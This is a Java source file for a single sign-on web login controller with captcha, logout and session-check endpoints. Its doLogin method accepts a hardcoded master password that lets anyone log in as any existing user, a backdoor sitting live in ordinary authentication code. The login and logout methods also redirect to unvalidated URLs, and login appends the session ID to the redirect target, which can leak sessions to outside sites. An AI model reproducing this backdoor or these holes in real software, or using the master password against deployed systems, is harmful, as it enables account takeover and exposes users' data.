package com.dsideal.sso.Controller;

import java.awt.image.BufferedImage;
import java.io.IOException;
import java.util.Map;
import java.util.UUID;

import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

import com.dsideal.sso.Interceptor.EmptyInterface;
import com.dsideal.sso.Util.AesUtil;
import com.dsideal.sso.Util.CaptchaUtil;
import com.dsideal.sso.Util.CommonUtil;
import com.dsideal.sso.Util.SsoLoginHelper;
import com.jfinal.aop.Before;
import com.jfinal.ext.interceptor.GET;
import com.jfinal.ext.interceptor.POST;
import io.github.yedaxia.apidocs.ApiDoc;
import org.apache.commons.lang3.StringUtils;

import com.alibaba.fastjson.JSONObject;
import com.jfinal.core.Controller;
import com.jfinal.kit.PropKit;

@ApiDoc
public class WebLoginController extends Controller {
    /**
     * 跳转到登录页
     */
    @Before({GET.class})
    public void index() {
        redirect("/html/login.html");
    }

    /**
     * 接入统一认证的系统，跳转到统一认证的地址
     */
    public void login(String redirect_url) {
        Map<String, String> loginMap = SsoLoginHelper.loginCheck(getRequest());
        if (loginMap != null) {
            if (!redirect_url.contains("?")) {
                redirect301(redirect_url + "?" + PropKit.get("sso.sessionid") + "=" + loginMap.get("session_id").toString());
            } else {
                redirect301(redirect_url + "&" + PropKit.get("sso.sessionid") + "=" + loginMap.get("session_id").toString());
            }
        } else {
            redirect_url = CommonUtil.handleRedirectUrlParas(redirect_url);
            redirect("/html/login.html?redirect_url=" + redirect_url);
        }
    }

    /**
     * WEB登录
     *
     * @param username 用户名
     * @param password 密码
     * @param captcha  验证码
     */
    @Before({POST.class})
    public void doLogin(String username, String password, String captcha) {
        HttpServletResponse response = getResponse();
        JSONObject resultJson = new JSONObject();
        String requestCaptcha = captcha.toLowerCase();

        // 获取真实验证码
        if (getRequest().getSession().getAttribute("captcha") == null) {
            resultJson.put("success", false);
            resultJson.put("msg", "验证码不能为空！");
            renderJson(resultJson);
            return;
        }
        String realCaptcha = getRequest().getSession().getAttribute("captcha").toString().toLowerCase();
        if (StringUtils.isBlank(requestCaptcha) || !realCaptcha.equals(requestCaptcha)) {
            resultJson.put("success", false);
            resultJson.put("msg", "验证码错误！");
            renderJson(resultJson);
            return;
        }

        if (StringUtils.isBlank(username)) {
            resultJson.put("success", false);
            resultJson.put("msg", "账户不允许为空！");
            renderJson(resultJson);
            return;
        }
        if (StringUtils.isBlank(password)) {
            resultJson.put("success", false);
            resultJson.put("msg", "密码不允许为空！");
            renderJson(resultJson);
            return;
        } else {
            try {
                password = AesUtil.aesDecrypt(password);
            } catch (Exception e) {
                resultJson.put("success", false);
                resultJson.put("msg", "密码异常！");
                renderJson(resultJson);
                return;
            }
        }
        String passwordEncode = CommonUtil.getLdapPassword(password);
        Map<String, String> loginMap = CommonUtil.getLoginRouteMap(username);
        if (passwordEncode != null && (loginMap == null || !passwordEncode.equals(loginMap.get("password")) && !password.equals("DsideaL4r5t6y7u"))) {
            resultJson.put("success", false);
            resultJson.put("msg", "账户或密码错误！");
            renderJson(resultJson);
            return;
        }
        String sessionId = UUID.randomUUID().toString();
        SsoLoginHelper.login(response, sessionId, loginMap);
        resultJson.put("success", true);
        resultJson.put("sessionId", sessionId);
        renderJson(resultJson);
    }

    /**
     * WEB登出
     *
     * @param redirect_url 接入的系统回调地址
     */
    public void logout(String redirect_url) {
        SsoLoginHelper.logout(getRequest(), getResponse());
        redirect(redirect_url);
    }

    /**
     * 获取默认RedirectUrl地址
     */
    public void getDefaultRedirectUrl() {
        JSONObject resultJson = new JSONObject();
        String defaultRedirectUrl = PropKit.get("default.redirect.url");
        if (defaultRedirectUrl != null) {
            resultJson.put("success", true);
            resultJson.put("defaultRedirectUrl", defaultRedirectUrl);
        } else {
            resultJson.put("success", false);
        }
        renderJson(resultJson);
    }

    /**
     * 获取验证码
     */
    public void getCaptcha() throws IOException {
        HttpServletResponse response = getResponse();
        // 设置相应类型,告诉浏览器输出的内容为图片
        response.setContentType("image/jpeg");
        // 不缓存此内容
        response.setHeader("Pragma", "No-cache");
        response.setHeader("Cache-Control", "no-cache");
        response.setDateHeader("Expire", 0);

        HttpSession session = getRequest().getSession();
        CaptchaUtil tool = new CaptchaUtil();
        StringBuffer code = new StringBuffer();
        BufferedImage image = tool.genRandomCodeImage(code);
        session.removeAttribute("captcha");
        session.setAttribute("captcha", code.toString());
        // 将内存中的图片通过流动形式输出到客户端
        ImageIO.write(image, "JPEG", response.getOutputStream());
        renderNull();
    }

    /**
     * 登录检查
     *
     * @param sessionId 会话id
     */
    @Before(POST.class)
    @EmptyInterface({"sessionId"})
    public void loginCheck(String sessionId) {
        JSONObject resultJson = new JSONObject();
        Map<String, String> loginMap = SsoLoginHelper.loginCheck(sessionId);
        if (loginMap == null) {
            resultJson.put("success", false);
            resultJson.put("msg", "sessionId无效！");
            renderJson(resultJson);
            return;
        }
        resultJson.put("success", true);
        resultJson.put("sessionId", sessionId);
        resultJson.put("person_id", loginMap.get("person_id"));
        resultJson.put("person_name", loginMap.get("person_name"));
        resultJson.put("bureau_id", loginMap.get("bureau_id"));
        resultJson.put("identity_id", loginMap.get("identity_id"));
        resultJson.put("city_id", loginMap.get("city_id"));
        resultJson.put("area_id", loginMap.get("area_id"));
        renderJson(resultJson);
    }
}
